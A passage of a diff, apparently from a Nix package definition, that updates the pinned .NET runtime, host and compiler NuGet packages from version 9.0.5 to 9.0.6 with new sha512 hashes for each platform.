-        hash = "sha512-4IcCNgCcWEOmV+JuEyaEzyJpFhJq3ktDwDPVoMf2c6fNhtl46YgjGjGdLw1uLHu3UYAcJI0Tlvd5kizHwoqEIw==";
+        version = "9.0.6";
+        hash = "sha512-4lzVKIyc39LowT2BJZve13EsBC3bzbPGXC6h1233QA2ROXEVoEQw0xb8MRMb0J9PHR/RnPs14E1p9soDZ5eD+Q==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.5";
-        hash = "sha512-AMq9q2VAWgNOK63kxWcbvBc+wUUB2a2gK5yfeNpj0pK9rb3i9np2tmm7RbXEDCkDr/m6hR/kqm1RkbhvRdofEg==";
+        version = "9.0.6";
+        hash = "sha512-ugY7GnQv+2h3a2huCseWo4twDkszWWLJ2QB6Y2pthaERkbqWF/+n6Xr0xLWVWQkI5hhsWZ6S2jOjrho2OAUi+g==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-x64";
-        version = "9.0.5";
-        hash = "sha512-Ndx5gVPDtSfwCwFEXm520IUk86xPUQ0yzU5ZkOj5Enkn2Tt3eIC0rI0Stjzs52/JYo1oHM9Cj0FKoHvm2XX6+g==";
+        version = "9.0.6";
+        hash = "sha512-5BbS9hxja2XWQBNM2Wz313NevZUAt35dqThe7sPAGEYTvs33eEt5fCs4xPFxob8M8z0meFjwVrVodzzfXFodFA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.5";
-        hash = "sha512-aE+vLS9/ZwCaunIpKgzPYl3siu7eglD40YpT/ggX97+8JidaS8D/q8/nJ3CMAFwkWs6RfcdG739YY8TvcfyYbQ==";
+        version = "9.0.6";
+        hash = "sha512-YE1DyntUFOnzuyhPn69dxyhuRCAlmYfMWDIGwolrV7mAa3wN2hgdTqK2bfUNdsT9Sw0lqk3W02XATfVolZ5aeg==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-arm64";
-        version = "9.0.5";
-        hash = "sha512-Xa1BhvYwDZP0ajkx61psrhbovJf97lUKXg58LJY+TA/9xURTUcMrHSn5BB+wPHDYtBNsJftserTvG+HeR+NXQg==";
+        version = "9.0.6";
+        hash = "sha512-jL7rg+9zAfnGbJQXtoT+SQZ7U4Xg34As6oQwIG8VuR5wVynFdPUgXp1H3dem1EKG/obE6PgLT4MgJM1mhXNDQg==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.5";
-        hash = "sha512-iXbcLp5noA610tVVbvppH0WoGw9Tk7x0sVmbEhTfvhtrgz7SAYvnJci8XMaWIUNTVterN0w50E6dEHUV1mX+wg==";
+        version = "9.0.6";
+        hash = "sha512-saNHscRs66/1FgZ7tQxiSK7E3AqLheC3neSMAC2bvyKigvli2tHK48y8kiuvWoa7oPL8+yTOpN1Xgx7/vcy32Q==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-x64";
-        version = "9.0.5";
-        hash = "sha512-69GFvWBiC0BXfgDZ6QhMPr7pUmrepsvF+C8I7X/Co0KpHtB70/89nshsY/i1H3LKp0vL+pfbJFRjvTrf+L2Sjg==";
+        version = "9.0.6";
+        hash = "sha512-S1KSrW7+6q7M2fLLhXXTdrAvfa2E/LJnVuHVWMpGz+9ISiV8XI4iSW7ehrGiQ3pi13y04JkgFs3Qhug2tFONPg==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.5";
-        hash = "sha512-MmwaKx16ig2VMYpnGIhhIDYfNonXUUf+DocK7hg3Ur+zghob63ZQ4diPaMv75gJ+f0TVWHUDuwIn8u4apKE8ew==";
+        version = "9.0.6";
+        hash = "sha512-75DcTB0ssV5GYzcEuftwrQ8k2LyDB2e53SQpUyAbfM1oGduUxWmntm43OWcCNeE8t6q7eq457pHl5fwI1Fr50Q==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-arm64";
-        version = "9.0.5";
-        hash = "sha512-A+ZcBjMxZRcWNYjBUQ2EoX759Ls9x5gWHe3vdzfWF2YCg7GB+vGlQx2UtdMfkaGoH/nkCXl0saghJSuSWw8+DQ==";
+        version = "9.0.6";
+        hash = "sha512-3F7atPGjj6zBgdfWINFk02PVvvf90ldUxRHCGpvyFQW+DNmx7y/zqqnSDmM14eoVRZcVCRPaKCvPjfv1KNIlag==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.5";
-        hash = "sha512-urCeKcia9RhVJJOBROuCXfOBTB3qbAO85uyYhglLGSaT0XAHzQ1p0iFS+nZrFBdHTBJ9Z0eK01mIW03FNAFb0w==";
+        version = "9.0.6";
+        hash = "sha512-c8f2YKBlMf1WU5mgkDvfj2dC08ptngMc8KhcCpHRnOwPLMJUUA3luIe2J0pZ+nKBmux4Mt7t2QY8DUbmOrI/Cg==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x64";
-        version = "9.0.5";
-        hash = "sha512-NI+qfc8De8XP9ppO1q7vWBOqrDIrW2/Sza/jUN5tObfmJ1tycjpChtNOs3mSrbU3Z/UYrAQkvupGYvL+gCZSQw==";
+        version = "9.0.6";
+        hash = "sha512-UGSb5nYKfDFV0dsRbRMemfrw1qeYNusbd7ILPLVN+PH27ge9IjbV80PiJApW2q7GB2xN35WMhWiwrmE2Y2JsIA==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.5";
-        hash = "sha512-Lcuf3n7bbcm0qc2lqzMdrQHpS4NHcUPp+3YVrfDjRsxYquSooHb/JtlslBmLhOwzUMUD3y9pJLAd3pk2K8+iDQ==";
+        version = "9.0.6";
+        hash = "sha512-Bk+cjNd5fEgTB7FoXuUgV7ke/VMUDUnRryTq8m3wsnA7Il0RbjtFBW4Ut9RAKU1y3ZYs4ZN40rLgE4s0JvzHmw==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x86";
-        version = "9.0.5";
-        hash = "sha512-CM/Pt1M4wrBxhwu1tC2smQ3b89bK0tHeHbw7bb5N3t4S9TO1OihQUSNpKYNYUcag+i7MQACkJ6ar9w+QCwUj1A==";
+        version = "9.0.6";
+        hash = "sha512-T8KyQcQtCWwWcwzuBKvPvHu5xHneYQ1RA1PNuWGk27rBklXmxt98icULTYpdDmcGqn2BQb6GlM7UWBYPA/VFjA==";
       })
     ];
   };
@@ -160,361 +160,361 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm";
-        version = "9.0.5";
-        hash = "sha512-dcr6pOXx0PgN1WGp4qNoxx6/VG5DxhhbOaudgoVnL1xLup53kjIytNx3K96gHVzpvVTQKGt9RgomX/bTwYuuJg==";
+        version = "9.0.6";
+        hash = "sha512-+NPQTOSkxtMikAfdRvHUccbJSRjgmJqhviHXB6xr17ZubKpbHBe1r8/5BmpUgNedykJhM+yjuM5cG12sLQ1lWQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm";
-        version = "9.0.5";
-        hash = "sha512-zxFRCxPWBcsHfMhX4j+yqRHnbeQlR0NTw8JEYYO4d/V7hgwBL3obJQeTTdP+Xh68QxFPJFqAQTCJTTy/T406bQ==";
+        version = "9.0.6";
+        hash = "sha512-i77xcc7KGxpX1Ydaa5R15+eNtko4CoIiH6HcwaDtBmnSeoLe41v/sp4W/OXlqrd+Q3a6UW481ff7n9odhgxsKQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm";
-        version = "9.0.5";
-        hash = "sha512-aUM0/okMRohpeJmvrRHbpyF69SptLu+DDufJC3APk0I0ok88T1HSlG/vn5Apit72KTOc70vJVMVcaQcNAN1R7Q==";
+        version = "9.0.6";
+        hash = "sha512-FBlNeLvbEAjmweRkAMyVxPuC2LorMXgVJmXomt3zqHmpy6JJzF0fVQuaIAQR9rPXwQxBNW08PmgXqRBf31i8RQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.5";
-        hash = "sha512-xN6i+Ov/DrFY3S9W5jVW475scRokjdiMITS05+NfPXQC70zE/kfVujdXVQlU1a6qcNVO1p70PdMIzvs2FRtpVg==";
+        version = "9.0.6";
+        hash = "sha512-ekkS3SSPWUzKC54fK5zDz8ZMe5kyLIK6l9mlFZFPuJ/mvbJ+t7YQmy97Lp/rcjUDC0z2SvwDcbe4rw0JNCJyDQ==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64";
-        version = "9.0.5";
-        hash = "sha512-Mt8To4crSMlcaHP/BiZuUAroEYQyOazOx6jzVo6H3GNlLKY7rIFk5cgKLXxKVF2fLcnab8d/DbBY1ZRlW0DUeg==";
+        version = "9.0.6";
+        hash = "sha512-/AhNE7lNbGsFfMXWk6/AAN5vpkaqrnwzTZJ59lUSba1onpCJS8ageZNZZf2vFLpl2JYuNt7qTgcBRTWZ1I0CEQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm64";
-        version = "9.0.5";
-        hash = "sha512-V7LGhVXf4viIZlEBldjN9P5zririHYIcF+0WOdWVydaOvygXoY4Ni4q8vjFSZ6elJAtremagj3hIZyXQul2+jA==";
+        version = "9.0.6";
+        hash = "sha512-YBOl4EfiO8a9AIdr7hdbeHB4vu3HNQs60YKLakZnYGp+YYlY5VfOF+NMcAelrkbOf88HxMoKsPtV0WuQrn6Mzw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm64";
-        version = "9.0.5";
-        hash = "sha512-Ohgbw58CYKcYdo/wX7jRSwbgmZbSadu/b8bKeuRFQMSg5T0UH8yCjSqZOptt1MS/8HmpbEIA1ftgkT9agt+OvA==";
+        version = "9.0.6";
+        hash = "sha512-ldmqB77CuVlSeYEvLXsOf8EbFgyDGNPm7hb23aweU0JEbpkYlq1+LhGMKavB67nckMhOkMWNJioWXP4+Cn02VA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.5";
-        hash = "sha512-SHabZtiO2X3nJDFFO7kgv1rBpoSdc3oIHqQ2B2CmfScUO5vKu+ICDPl8ppNblEO8QijdU7Ro/doHY0J+sCxGoA==";
+        version = "9.0.6";
+        hash = "sha512-ka7E4MUOFjZyNVyglGgVhXWp1Vj0lyBUJ7b1aHgegcXLSvDP0GwNF66IBjPxz9PNZF4MxNJr5F5Ny8u6FKI/gg==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-x64";
-        version = "9.0.5";
-        hash = "sha512-eGGCJb+uBv6vOgtEe+ED6KXtAXbCcT9xTpDwugitsQ8zBhIwI/WurixXw3TjmUqrvZxZ+HJCPoRl/kMmNuioeA==";
+        version = "9.0.6";
+        hash = "sha512-0hK87O2vVKwqG9paC9hsVCKOZqjEHcCrLhR1a4A/sbUqQo8B0MFKvvr/p0w5PFmiQmho9lriLWcJ9gImsSt1FQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-x64";
-        version = "9.0.5";
-        hash = "sha512-3LsjkhMoNA7EvYv7O6OrVrryhyegoSBE5Y5Se5iJ7HAXFSUQ7fIYGihhGxy/Gfr8X7MrRu5JGkLx9inxSoB85g==";
+        version = "9.0.6";
+        hash = "sha512-cjrfAzBmcTHSJno22YZG218HD1WjXe9CGVUN+sGBxP/c6fqGulOI5UDJJDmQ4FUV+rW0cdTre1DYLtWiMuI8Jw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-x64";
-        version = "9.0.5";
-        hash = "sha512-G6euOgaAfYCYWmWlDU2NFfpZ6tiC7/fDiMmb8YtlQVPI87JatLGWduxQQSqdhwKMDJuQZob6tW+Dv7a3LZt03g==";
+        version = "9.0.6";
+        hash = "sha512-kj9m+09fQalBWgRwfaYThuTK7NFPtyad8X63jZ7gfj7WnqsqZLWdsBtNihaJVoNj94cHHVut3MItFfCWtpPfZw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.5";
-        hash = "sha512-dj/5fuYoWKYLwm0RMvVUDM4arCBwLXBIZvYZJRTQFlv9MFxwVrmaeqjL45UVI1RgEzhwLLEUR2MQM7vMUP/QLg==";
+        version = "9.0.6";
+        hash = "sha512-Usx2GTbhdsrrBoIDG5ZX1DUfDBJGVGtf85VlH3tX0YXBzVBVCJJPx7IfcmakG1fozurBhNpWiGXbglyzskySnw==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm";
-        version = "9.0.5";
-        hash = "sha512-9cYhk+OCPeVyNyFEbAweEqYHCIkreEWXzXyP06hpxGu8b//n2hLrjXv+aErRjVzGlpLZoRalMyzREx7naSEgzQ==";
+        version = "9.0.6";
+        hash = "sha512-MD2n0rlApp3G+Ur2lMQLh1iQl6afbm1Q4KwZpB1zV43HaZgxBL3djW4cKFjDYo0aP2Bgn1ycoL5aab9aZti/5w==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm";
-        version = "9.0.5";
-        hash = "sha512-sFJWSzk+HKZ9vSOgN765Nru+XAyebFwgKOvAdynCv/2hvluBYbS8FcLkydd+n+PYDrw+yXf0VPWlzpnWeSmz1A==";
+        version = "9.0.6";
+        hash = "sha512-6qvqNn2PfL8YUY/CPyeZTgTTmi9Dw7w8aJrpn7DgpPVjnspb8vsuRd8T1Li2PTU5y6E8O3w6jetrdI6mgpX/Hw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm";
-        version = "9.0.5";
-        hash = "sha512-8Wyh6qTQ2oZaJeGP5SdiWaXoMc6NRMmhHTO1jd8H1XHhgBRXXbkeSHOy30+HInhTiLo+1h5zeI6WBZl559Aa2g==";
+        version = "9.0.6";
+        hash = "sha512-oAQ1cHbW8ZdXvraB09nbu1V4b1eUN7ZH71+yFX21t+1ArT5H8PVQ/hrd2K6WhDGFJBXlNjYT6Trlg+gbqKAheg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.5";
-        hash = "sha512-mH97t09X3T3JlJC4FfWdX0aG3hYfvmBtA09ysq/eTXEKmGJ4jtl6I+EfeI9dVPFSdYkHlBpMLmbnyfThTJqg9Q==";
+        version = "9.0.6";
+        hash = "sha512-ku6jYk5c0aPkZ8JpyAZpjyEJkIqNalrRl8TQUF8c7LGaFEzjR7jrTaiXUeEojl7FX07Jrmo5bCwkbi+P+rMbxw==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64";
-        version = "9.0.5";
-        hash = "sha512-tBjTfNRXttxWvq296At7QvA++n4lr2TnPQP/ub5wfsnELt+IIjnc7Kt8c+qKEJosdOP0TOKiQoyYbYKrH1JzBg==";
+        version = "9.0.6";
+        hash = "sha512-GSnfCxkwq7J1PdJaNcVSclPNOftPWD6m+CDwYdkxmFFcI7Qn667+UAqof/zTDlrWBKSEnQ6Og0I7ldHzrbyOKw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm64";
-        version = "9.0.5";
-        hash = "sha512-pJotYqQ32S9wPYYlw/xgMxrOS/IGDAxWnHNtynxxbyrLGe+Bvpu5mAWFOieTCd5R7PGgCStLL/RCCzS2HDo4/g==";
+        version = "9.0.6";
+        hash = "sha512-mvNpFSjrYU7/PMBy98idjunaBKU5PolHyFXbYyVPrlMWUWSo5F5baxM5rFmD27tEJOEs4BFbKGGAIgjTl0dL5Q==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm64";
-        version = "9.0.5";
-        hash = "sha512-PX4wq6bS5SJraHVSM8JVazfoPE3YzgIht7zIvFyobXqRKfH26DFmolor1vGxlFoboyOxIvjaG/Ky8nXo9zTLUA==";
+        version = "9.0.6";
+        hash = "sha512-csGlXEfhrF2w3JUJr0hBgCRkd7jAjOhTY9jsNbl1f8TIhjepUH8q4dPrRrjBzXopRW3iqD+3oSetnS2/AxqIAA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.5";
-        hash = "sha512-Dnl6fzn9mg5UnGShXymf1P557chMX39XUQZ8GnoTYIB7Nmni80ncNO3z24WcMDvr4U3AZJvk1CARRLAb8sk/Sg==";
+        version = "9.0.6";
+        hash = "sha512-IFZ4+4RboQyHCLwSJ/4hWFkRbBez2rDTp00GUC7tQRjH3d2vPBd5GPu0joBod7YqmjQCDw+APwgm/LXuF02RBA==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-x64";
-        version = "9.0.5";
-        hash = "sha512-7OeO4DIkZcGk4RebYl7T4CKXM7JfVwpYFbkNqHDw8JkzqlLZoVKRgx0jKxXZbOXQ0WN+rJttGKdBDeiZ3zmbXg==";
+        version = "9.0.6";
+        hash = "sha512-P17+iLFLko8DK8zVsEwlsxVEsA2aMMdWpmEhTgyeHfG8uq5eOyMSTNMOWeOsDDpThNo+8U9d4xULnV46IRFwQQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-x64";
-        version = "9.0.5";
-        hash = "sha512-tZ9zT1WsKnq5YQhRn4VMGESI8ESDdUAcjQX2/zsKQTW/jpTHUWxhmT/M6EcHp2bMKzct+vF32HCJvZfrbCw0iA==";
+        version = "9.0.6";
+        hash = "sha512-MWQXJ5QsswPxfykUi4gHJ2X4pnQ7ZWeIiGRx9mEWoZPV/NkC64DBG5KC9u9+hCluij6BZEFjwBjl0KzCuOm4WA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-x64";
-        version = "9.0.5";
-        hash = "sha512-m4VQm5xFePhThG2c63/d3SvGi03zPEFmQcKycV0lOqRHlo809ahHkhq7taiftuwRTfFy/5R8+5TEsaAOxQ6gpw==";
+        version = "9.0.6";
+        hash = "sha512-eVf9gQ1qlT7uUVfYiSLpj1H/UnGqkSUuq4/evLuAxA4JHGFRpv/GdNmgMcM8nVTNm9KkQj4XtqoLy4iS3zNrmw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.5";
-        hash = "sha512-fgOU249WCVcsLJdS6BJ1auevUutNXlCqcsyF8wECB8Oq8SSTMKKFFJl8n02n6ZoJoGp0nsK2LgubYatGq6CaVg==";
+        version = "9.0.6";
+        hash = "sha512-nesIUxMmU5gIh8GRimFetwosmow5P5ij6USkbkM5f+iE/C91TbwZPrilv8Tix/Gj8OR2lOGlREhYHUsc+5H9uA==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64";
-        version = "9.0.5";
-        hash = "sha512-WUqvMm7lDZ9qCfDUQSTyuBr3julN+SANxShfxBe972+qO9VIH7JRL2u85hi8IKP6L13L0mVX2rO6iswQfCZE9g==";
+        version = "9.0.6";
+        hash = "sha512-noJBW2+TxZYce0afsgMJAAA//nxOWF+KASiQ3fPRpzZjeOGfdNyY6BcAt2i/DfVU5u/cqY0IwOfVBd6iq3dkLA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-arm64";
-        version = "9.0.5";
-        hash = "sha512-2Y+mmx4hJtcOwNb4qJUuqv0ekrjAyFS3zCK2a6T2TpNQ9ON+ywbnkjQfqwo+hs9uWE1TBiXS1iGgJ6k/f0W3Nw==";
+        version = "9.0.6";
+        hash = "sha512-DIJUSz/0MD3YBkhR17re92A9FGyu+1lhWJX4SkFdl7pILxSgJUqQNdZpnh2KssNWNbb5j0EtP9G3Tc2uUCH8bw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-arm64";
-        version = "9.0.5";
-        hash = "sha512-AbfmNGg4zIxlpqakXSdmFYk6k3JE7P2j2z2qUymYbuCHyzS9IqwRIL6zK3aHhUS9b4BWrZkRGbrvq+t9zYERMw==";
+        version = "9.0.6";
+        hash = "sha512-h60P7+JXr8o1IPHe7pNxESjR8+pVvYT+AFaG5L8G9SIKVr+Rtt8P5rpgUXXLyydWDiarrRUdo52Dr4CXkc6Ojw==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.5";
-        hash = "sha512-przDLKwmZAQ3fdAlyZ7QGwZZt3s86rgqrcNO1+nmXcCx5ZD6ZlY7Az9QJ4yXkSARFZ7Opk2jep2kEW7Cfpv2zA==";
+        version = "9.0.6";
+        hash = "sha512-aZgVLnZjLpr6oPPSDX6DiOAnZoDukSn5xmqkWj8c89iNXHRE1xK5yRNzwRV4fyWIE0tIf3EvoPOlzE0BpEBSYA==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-x64";
-        version = "9.0.5";
-        hash = "sha512-KiwdOy8CONzPmGpfSClgu06GPh2W/6Dhp9IA6cUXx5TBi5WgnoDmd4Me9Q6UmGISuR6hCHsKiCWhh/5h9pJDPQ==";
+        version = "9.0.6";
+        hash = "sha512-rSpPx3elDDELL5n1c8teBQWlv83Z62cYRltExoAA3D/HB/YKcqHNjnQc/4XB0O40mP391+h9bfvDSkMdUc9/3w==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-x64";
-        version = "9.0.5";
-        hash = "sha512-VsEjG4O4eutC8yMRK6naQco648zjpTNl6yxP2fCqH96hq4epnscbmoMio/Bxopt7Xi01y+L78zEcJF8bY591bw==";
+        version = "9.0.6";
+        hash = "sha512-+/DAiKxDjWba4DRXmw1dfaK+FWA6foy1sGssWxs5eAw2wh+uROtGsKJrz4rf1k7d9KP6jF+tVsV0vb/bBi89Cg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-x64";
-        version = "9.0.5";
-        hash = "sha512-g0Sd+FeVygI2RcT/5DNLcW3c2sePB3aMzc8SAnPI35YB4wfQSbrCeN6B5pw0rZAGP5F6FnnVRfZUTJgcnWCZ3A==";
+        version = "9.0.6";
+        hash = "sha512-b3UuGcvJHlP9ie1D6YLwCabrhRYZjbhPxYe9vMGPUGBlTNIZUz7kdwNyIyCAWT/dQRqOKD2EoNBpV5CEIRoUIA==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.5";
-        hash = "sha512-RUBFgRdKBSinOH0IlR8RW5RJOf4jghKTRbVRUD8JgcWriAfNkBboyCO9EhuBEs7219qMlrI5VtQxDKrZi042EQ==";
+        version = "9.0.6";
+        hash = "sha512-9p0JQzftQn+daDgkQOeTc0y4zMw1XSwfDVU/0r8GVXJ7uGnHnQ7nLE/7ZYbKuEesq3POXWz6zXvQG6IbsAzgQw==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-arm64";
-        version = "9.0.5";
-        hash = "sha512-OPTkSCy26Na+K4J2xpIHmW+KquH3QUguRR3PH6pr0pggL0Cs9dvEepp2yC3oy5422K6yijhyBQ6DnRGJmqh8kw==";
+        version = "9.0.6";
+        hash = "sha512-OiHjmlNigwmhXEazRkn8KpJqBfHlXd1gT22J18v/hj5W5XMec8EYkdNSS0Pcj7mRHUmKJWeQB0bBx95sDJMQig==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-arm64";
-        version = "9.0.5";
-        hash = "sha512-efQXE4FXpKHFSaW2/qEG6QHZfe2QnOXzyhVxQdF35HcExk7zhkRzdQigtQ35ugDfjfG2E0bnMijQgAowJ/OjeQ==";
+        version = "9.0.6";
+        hash = "sha512-da1Bckkc0nO62ixInAZ822MXqMi7oMqcIo1/PRd/AtmNuL61tHRZB8VEVfT7hHBTM+VpvvZMquWcTg44nwkYdw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-arm64";
-        version = "9.0.5";
-        hash = "sha512-2MkjZyR4eKtpIwYtwa3/aJD7v8dz8CfE2wQO0+HX0kiwi/UbUp+R+l6//QcjEm8z4CLZUiR7iu1GoVFtbHVFUw==";
+        version = "9.0.6";
+        hash = "sha512-6eV83UTMgW9ysKifWY+qvz1KTC077Wxt4DobByn8I+Op5Zk4Cowta5IYrpTAaA2F84I8cKldyqDtcgMyuJ1ciw==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.5";
-        hash = "sha512-nYw2JUWOVAWFEkJ0QF6YPOkB5/YtauREJqPDvu9XOETbozItpvO+qkrEfMUfsZzZOhg0pDJzYrLH0Y1DfA0QOA==";
+        version = "9.0.6";
+        hash = "sha512-gkgM4PHEEP2doB8VNHiwBTazR/0CaX+fAB/mu2sC/yEDLGvFWF2wPwmVLho7YqEy65XkZUOxvoBdIQpYbxkd9w==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x64";
-        version = "9.0.5";
-        hash = "sha512-7RIDa9js+tIxcs24Ph4IbI3/bmimPcDHhWuO9wGEU0LC2FVSZbUnMOpdLUih5uOQYHx2upBrGqDXzs3U1YjtSQ==";
+        version = "9.0.6";
+        hash = "sha512-/AneeKhgbNFFnlsbKwsHd7Pcjx8LVch4/sjtbLLYdeHCBEsdFTG4dObQAuaEG+JlcVE3r8yAGpyl/d2HB2nVlQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x64";
-        version = "9.0.5";
-        hash = "sha512-DWQNw2TAkz2IghHmpdBmDy6fjJwUT0xpfl5KcN32EmXFgODbeDnlOHyGrW+DnOg/jeiBwidNz5bLH0Yeqkn0iw==";
+        version = "9.0.6";
+        hash = "sha512-nE1uPy5By1aOy3qMujXO5N7/k3KlwhBNU0WB0BUUt7CSK8aRk9OZ+6LpZP0BnwktKy9lV4jlenF6ATimmH9yig==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x64";
-        version = "9.0.5";
-        hash = "sha512-niFnR3jx4KQjMUg0MOP2OZAN80qoRnstTi26vwU6OREoVN7n+9sa3iRPaT+XyyUa+/egzbU2TTrR2zJ8+dNrzg==";
+        version = "9.0.6";
+        hash = "sha512-vhGiijVula3UY5RCzFEFNdoOWLt6Gcm1FZRuE6EHOX5A4bx0poj4it6vkEZTe/p5HmjBiuLte9RD2uwd1aOC0Q==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.5";
-        hash = "sha512-AKZVJ95KmBq2a3LGiaBLwByTpbeiVOcQIbOpbvUxm4v593/2AfH5YkhBO3d9DkX/WcmTIxCuVYArLKuIBBr5wg==";
+        version = "9.0.6";
+        hash = "sha512-lLsdNjROghJNpR66Twj233udoE8O+ZWnksQEvo1bzQzGw9zUUo4MooUGXZkuoD+FzUDDzdaBmwZVzJE6eEZZLA==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x86";
-        version = "9.0.5";
-        hash = "sha512-7FzK7ZFl2uIdoxbry0OhzREpXD1hw2JscEnScAqakRhN+VjxYwegvwSAHqIBKWIoP4lwnFrlCWi0a7Tx6uqPvQ==";
+        version = "9.0.6";
+        hash = "sha512-OPg+mErxqN/lfrtwyZ5OpFbcwx2m61G23cZucmaOs2K4ezh2cUzRuFyXs3jwaTgrl+x3uI/ZJoXxGlOIjDsfrQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x86";
-        version = "9.0.5";
-        hash = "sha512-OBtv2h92NFsBd5igAFCfEKhEPLoaAzlWEOFq7DgIwxSK0dRgxsyoN1ucuFyxcdhoeoL/tgbCCln9PPhFiOFKzg==";
+        version = "9.0.6";
+        hash = "sha512-prdOLgJLRRGXhqCgxXmWY/bEyqqFOS9crkM/wuguVnrTGO/hU3ARutgJxy4EDTGVVMXbkPj4CK3JFQl1qw+LBQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x86";
-        version = "9.0.5";
-        hash = "sha512-206fJvhhVksd4A6+vl6SJQSOIBI0RnX7LTpTzTZTI623ujzvNeRKxnvfaPjvic3p4y5U4ylY87ZKnmDyxF4LAQ==";
+        version = "9.0.6";
+        hash = "sha512-8xBtrtU3QgkQJmPb3Cn1qNktfvgWO45GAqQipNUVF01CdWkNQEcYhreUEPiy84tgX1CziyKjWz95MM+/3kDf+w==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.5";
-        hash = "sha512-pKjelywn3XQhcEjlRdH+KG+itTvvh7md1Tr6+lH7RSiQewicsTO62pRTRPmEPUxEqRQPcTfSKVgC/xqvv1cWrQ==";
+        version = "9.0.6";
